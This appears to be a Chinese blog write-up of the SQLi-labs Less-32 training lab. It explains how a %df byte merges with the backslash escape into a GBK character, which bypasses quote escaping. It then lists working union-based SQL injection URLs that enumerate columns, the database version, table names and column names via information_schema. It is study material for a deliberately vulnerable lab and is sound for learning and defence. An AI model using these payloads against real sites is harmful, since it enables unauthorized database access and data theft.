您当前的位置: 首页 >  sql

星球守护者

暂无认证

  • 3浏览

    0关注

    641博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

SQLlib-第32关之宽字节注入

星球守护者 发布时间:2020-02-22 10:36:06 ,浏览量:3

文章目录
    • 宽字节注入
      • 第一节 构造绕过代码
      • 第二节注入原理
      • 第三节代码审计
      • 第四节注入实操
          • 判断字段个数
          • 判断显示位置
          • 判断数据库版本何当前数据库名
          • 数据库中的表名
          • 表中字段
          • 字段内容
    • 免责声明

宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。 为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。

第一节 构造绕过代码

[http://192.168.139.136/sqli-labs-master/Less-32/] 在这里插入图片描述 [http://192.168.139.136/sqli-labs-master/Less-32/?id=1] 在这里插入图片描述 [http://192.168.139.136/sqli-labs-master/Less-32/?id=1%27] 在这里插入图片描述 此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。 [http://192.168.139.136/sqli-labs-master/Less-32/?id=1%df%27%20and%201=1%20--+] 在这里插入图片描述 [http://192.168.139.136/sqli-labs-master/Less-32/?id=1%df%27%20and%201=2%20--+] 在这里插入图片描述说明:此时的单引号成功进入数据库查询语句中,实现id处的闭合

第二节注入原理

我们通过阅读32 关的源码,发现几句非常意思的代码,如下:

此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。 GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。 转移字符[] 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。 如果我们提交这样的参数[?id=1000%df' union select 1,2,3 --+],就可以使用联合查询进行注入了。

Id=1’-----id=1\’-----id=1%5c%27 Id=1%fd’-----id=1%df%5c%27-----id=1%DF5C%27-----ID=1運’ 0xdf5c 就是一个汉字"運"。 在这里插入图片描述在这里插入图片描述

第三节代码审计

在这里插入图片描述在这里插入图片描述

第四节注入实操 判断字段个数

[?id =1 %df’ order by 1 --+ ] [?id =1 %df’ order by 2 --+ ] [?id =1 %df’ order by 3 --+ ] 在这里插入图片描述在这里插入图片描述

判断显示位置

[?id =1 %df’ and 1=2 union select 1,2,3 --+ ] 在这里插入图片描述

判断数据库版本何当前数据库名

[?id =1 %df’ and 1=2 union select 1,version(),database() --+ ] 在这里插入图片描述

数据库中的表名

[id=1%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+] 在这里插入图片描述

表中字段

[?id=1%df%5c%27and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),3--+] where table_name=’user’,注意,user用引号括起来,但是会被转义:在16进制的表名前再加个0x,user转换成16进制是75736572。 在这里插入图片描述

字段内容

[?id=1%df’and 1=2 union select 1,(select group_concat(0x75736572) from information_schema.columns where table_name=0x75736572 limit 0,1),3--+]

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果上传者概不负责!

关注
打赏
1662051426
查看更多评论
立即登录/注册

微信扫码登录

0.2912s